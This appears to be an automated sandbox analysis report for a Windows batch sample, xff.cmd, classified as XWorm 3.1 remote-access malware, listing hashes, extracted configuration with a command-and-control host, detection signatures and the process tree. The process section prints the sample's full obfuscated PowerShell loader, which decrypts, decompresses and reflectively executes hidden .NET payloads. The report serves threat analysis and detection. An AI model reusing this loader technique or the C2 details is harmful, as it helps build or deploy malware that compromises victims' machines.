Analysis
- max time kernel
128s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
03/06/2024, 11:15
Static task
static1
Behavioral task
behavioral1
Sample
xff.cmd
Resource
win7-20240419-en
4 signatures
150 seconds
General
- Target xff.cmd
- Size 55KB
- Sample240603-ncsfjace2w
- SHA256 726b4c7268e3ac98dafe554aa3cf05e6ed6a185890ff717702b2e5c606cc64c1
- MD5 23c88462d32d9ea10a2e1d8dc2c0761d
- SHA1 c4b3e713eeb23905db0919ad42eca4c4e04594ba
- SHA512 cbb8dcec750ec00737c47d5352f13843831dcda49a0bd8c83cad986b47e6353a7d242257e7e08278c153902bec499688d8e89d2f5c73f1d90812234066545f0f
- SSDEEP 768:cgYYV4VeUd8SqTSn40DSEg5+VmcA1T++1/WQItIoQMrGvNAoaN/:cgkRqTaRSTNTCCdvNAoaN/
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
Version
-
3.1
C2
-
nmds.duckdns.org:8895
Mutex
-
O3B5rRVaa3oX74CD
Attributes
-
install_file
USB.exe
aes.plain
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/5108-15-0x0000028955A00000-0x0000028955A0E000-memory.dmp family_xworm - Blocklisted process makes network request 1 IoCs
flow pid Process 32 5108 powershell.exe -
pid Process 5108 powershell.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 5108 powershell.exe 5108 powershell.exe 5108 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5108 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5108 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4596 wrote to memory of 5108 4596 cmd.exe 88 PID 4596 wrote to memory of 5108 4596 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xff.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yfl+9e1ujQfBCdBEV6Z2UkstrL+He9SOiaTy/tj4l0c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7w7wzie8OzwYCnqdovjf0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mCQBR=New-Object System.IO.MemoryStream(,$param_var); $vHGEF=New-Object System.IO.MemoryStream; $UfEkZ=New-Object System.IO.Compression.GZipStream($mCQBR, [IO.Compression.CompressionMode]::Decompress); $UfEkZ.CopyTo($vHGEF); $UfEkZ.Dispose(); $mCQBR.Dispose(); $vHGEF.Dispose(); $vHGEF.ToArray();}function execute_function($param_var,$param2_var){ $cUdZW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FjmYk=$cUdZW.EntryPoint; $FjmYk.Invoke($null, $param2_var);}$eNFll = 'C:\Users\Admin\AppData\Local\Temp\xff.cmd';$host.UI.RawUI.WindowTitle = $eNFll;$xVjlb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($eNFll).Split([Environment]::NewLine);foreach ($VLbEL in $xVjlb) { if ($VLbEL.StartsWith(':: ')) { $hpycz=$VLbEL.Substring(3); break; }}$payloads_var=[string[]]$hpycz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5108
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t02m1wzv.wef.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512